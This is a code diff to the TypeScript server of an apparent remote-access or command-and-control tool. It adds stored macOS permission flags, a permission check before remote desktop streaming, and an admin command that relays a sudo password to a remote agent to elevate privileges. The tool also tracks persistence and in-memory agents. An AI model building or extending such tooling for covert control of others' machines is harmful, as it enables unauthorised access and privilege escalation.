||||||
partial.isAdmin !== undefined ? (partial.isAdmin ? 1 : 0) : null,
|
partial.isAdmin !== undefined ? (partial.isAdmin ? 1 : 0) : null,
|
||||||
partial.elevation ?? null,
|
partial.elevation ?? null,
|
||||||
|
partial.permissions ? JSON.stringify(partial.permissions) : null,
|
||||||
);
|
);
|
||||||
|
|
||||||
if (partial.hwid) {
|
if (partial.hwid) {
|
||||||
@@ -736,7 +741,7 @@ export function listClients(filters: ListFilters): ListResult {
|
|||||||
|
|
||||||
const rows = db
|
const rows = db
|
||||||
.query<any>(
|
.query<any>(
|
||||||
`SELECT id, hwid, role, host, os, arch, version, user, nickname, custom_tag as customTag, custom_tag_note as customTagNote, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs, bookmarked, enrollment_status as enrollmentStatus, public_key as publicKey, key_fingerprint as keyFingerprint, cpu, gpu, ram, is_admin as isAdmin, elevation, disconnect_reason as disconnectReason, disconnect_detail as disconnectDetail
|
`SELECT id, hwid, role, host, os, arch, version, user, nickname, custom_tag as customTag, custom_tag_note as customTagNote, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs, bookmarked, enrollment_status as enrollmentStatus, public_key as publicKey, key_fingerprint as keyFingerprint, cpu, gpu, ram, is_admin as isAdmin, elevation, permissions, disconnect_reason as disconnectReason, disconnect_detail as disconnectDetail
|
||||||
FROM clients
|
FROM clients
|
||||||
${whereSql}
|
${whereSql}
|
||||||
${orderBy}
|
${orderBy}
|
||||||
@@ -770,6 +775,7 @@ export function listClients(filters: ListFilters): ListResult {
|
|||||||
ram: c.ram || null,
|
ram: c.ram || null,
|
||||||
isAdmin: c.isAdmin === 1,
|
isAdmin: c.isAdmin === 1,
|
||||||
elevation: c.elevation || null,
|
elevation: c.elevation || null,
|
||||||
|
permissions: c.permissions ? (() => { try { return JSON.parse(c.permissions); } catch { return null; } })() : null,
|
||||||
disconnectReason: c.disconnectReason || null,
|
disconnectReason: c.disconnectReason || null,
|
||||||
disconnectDetail: c.disconnectDetail || null,
|
disconnectDetail: c.disconnectDetail || null,
|
||||||
thumbnail: getThumbnail(c.id),
|
thumbnail: getThumbnail(c.id),
|
||||||
|
|||||||
@@ -30,6 +30,7 @@ export function handleClientsRequest(req: Request): Response {
|
|||||||
...item,
|
...item,
|
||||||
isAdmin: live.isAdmin ?? item.isAdmin,
|
isAdmin: live.isAdmin ?? item.isAdmin,
|
||||||
elevation: live.elevation ?? item.elevation,
|
elevation: live.elevation ?? item.elevation,
|
||||||
|
permissions: live.permissions ?? item.permissions,
|
||||||
...(live.monitorInfo?.length ? {
|
...(live.monitorInfo?.length ? {
|
||||||
monitors: live.monitorInfo.length,
|
monitors: live.monitorInfo.length,
|
||||||
monitorInfo: live.monitorInfo,
|
monitorInfo: live.monitorInfo,
|
||||||
|
|||||||
@@ -666,6 +666,50 @@ export async function handleClientRoutes(
|
|||||||
details: "Agent uninstall requested - persistence will be removed",
|
details: "Agent uninstall requested - persistence will be removed",
|
||||||
success: true,
|
success: true,
|
||||||
});
|
});
|
||||||
|
} else if (action === "elevate") {
|
||||||
|
if (user.role !== "admin") {
|
||||||
|
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const password = typeof body?.password === "string" ? body.password : "";
|
||||||
|
if (!password) {
|
||||||
|
return new Response("Bad request: password required", { status: 400 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const cmdId = uuidv4();
|
||||||
|
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
|
||||||
|
const timeout = setTimeout(() => {
|
||||||
|
deps.pendingCommandReplies.delete(cmdId);
|
||||||
|
reject(new Error("Elevation timed out"));
|
||||||
|
}, 30_000);
|
||||||
|
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId });
|
||||||
|
});
|
||||||
|
|
||||||
|
target.ws.send(
|
||||||
|
encodeMessage({
|
||||||
|
type: "command",
|
||||||
|
commandType: "elevate",
|
||||||
|
id: cmdId,
|
||||||
|
payload: { password },
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
metrics.recordCommand("elevate");
|
||||||
|
logAudit({
|
||||||
|
timestamp: Date.now(),
|
||||||
|
username: user.username,
|
||||||
|
ip,
|
||||||
|
action: AuditAction.COMMAND,
|
||||||
|
targetClientId: targetId,
|
||||||
|
success: true,
|
||||||
|
details: "elevate (sudo)",
|
||||||
|
});
|
||||||
|
|
||||||
|
try {
|
||||||
|
const result = await replyPromise;
|
||||||
|
return Response.json({ ok: result.ok, message: result.message || "" }, { headers: deps.CORS_HEADERS });
|
||||||
|
} catch (error: any) {
|
||||||
|
return Response.json({ ok: false, error: error.message || "Elevation failed" }, { status: 504 });
|
||||||
|
}
|
||||||
} else {
|
} else {
|
||||||
success = false;
|
success = false;
|
||||||
return new Response("Bad request", { status: 400 });
|
return new Response("Bad request", { status: 400 });
|
||||||
|
|||||||
@@ -314,6 +314,21 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
|
|||||||
switch (payload.type) {
|
switch (payload.type) {
|
||||||
case "desktop_start":
|
case "desktop_start":
|
||||||
if (!state.isStreaming) {
|
if (!state.isStreaming) {
|
||||||
|
if (target.os === "darwin" && target.permissions) {
|
||||||
|
const missing: string[] = [];
|
||||||
|
if (!target.permissions.screenRecording) missing.push("screenRecording");
|
||||||
|
if (!target.permissions.accessibility) missing.push("accessibility");
|
||||||
|
if (missing.length > 0) {
|
||||||
|
logger.info(`[rd] macOS permission gate: client ${clientId} missing ${missing.join(", ")}`);
|
||||||
|
safeSendViewer(ws, {
|
||||||
|
type: "status",
|
||||||
|
status: "permissions_denied",
|
||||||
|
missing,
|
||||||
|
permissions: target.permissions,
|
||||||
|
});
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
sendDesktopCommand(target, "desktop_start", {});
|
sendDesktopCommand(target, "desktop_start", {});
|
||||||
state.isStreaming = true;
|
state.isStreaming = true;
|
||||||
rdStreamingState.set(clientId, state);
|
rdStreamingState.set(clientId, state);
|
||||||
|
|||||||
@@ -30,6 +30,7 @@ export type ClientInfo = {
|
|||||||
ram?: string;
|
ram?: string;
|
||||||
isAdmin?: boolean;
|
isAdmin?: boolean;
|
||||||
elevation?: string;
|
elevation?: string;
|
||||||
|
permissions?: Record<string, boolean>;
|
||||||
enrollmentStatus?: EnrollmentStatus;
|
enrollmentStatus?: EnrollmentStatus;
|
||||||
publicKey?: string;
|
publicKey?: string;
|
||||||
keyFingerprint?: string;
|
keyFingerprint?: string;
|
||||||
|
|||||||
@@ -91,6 +91,9 @@ export function handleHello(
|
|||||||
info.inMemory = !!(payload as any).inMemory;
|
info.inMemory = !!(payload as any).inMemory;
|
||||||
info.isAdmin = !!(payload as any).isAdmin;
|
info.isAdmin = !!(payload as any).isAdmin;
|
||||||
info.elevation = typeof (payload as any).elevation === "string" ? (payload as any).elevation : info.elevation;
|
info.elevation = typeof (payload as any).elevation === "string" ? (payload as any).elevation : info.elevation;
|
||||||
|
if ((payload as any).permissions && typeof (payload as any).permissions === "object") {
|
||||||
|
info.permissions = (payload as any).permissions;
|
||||||
|
}
|
||||||
info.cpu = (payload as any).cpu || info.cpu;
|
info.cpu = (payload as any).cpu || info.cpu;
|
||||||
info.gpu = (payload as any).gpu || info.gpu;
|
info.gpu = (payload as any).gpu || info.gpu;
|
||||||
info.ram = (payload as any).ram || info.ram;
|
info.ram = (payload as any).ram || info.ram;
|
||||||
@@ -121,6 +124,7 @@ export function handleHello(
|
|||||||
ram: info.ram,
|
ram: info.ram,
|
||||||
isAdmin: info.isAdmin,
|
isAdmin: info.isAdmin,
|
||||||
elevation: info.elevation,
|
elevation: info.elevation,
|
||||||
|
permissions: info.permissions,
|
||||||
lastSeen: info.lastSeen,
|
lastSeen: info.lastSeen,
|
||||||
online: 1,
|
online: 1,
|
||||||
});
|
});
|
||||||
|
|||||||
Reference in New Issue
Block a user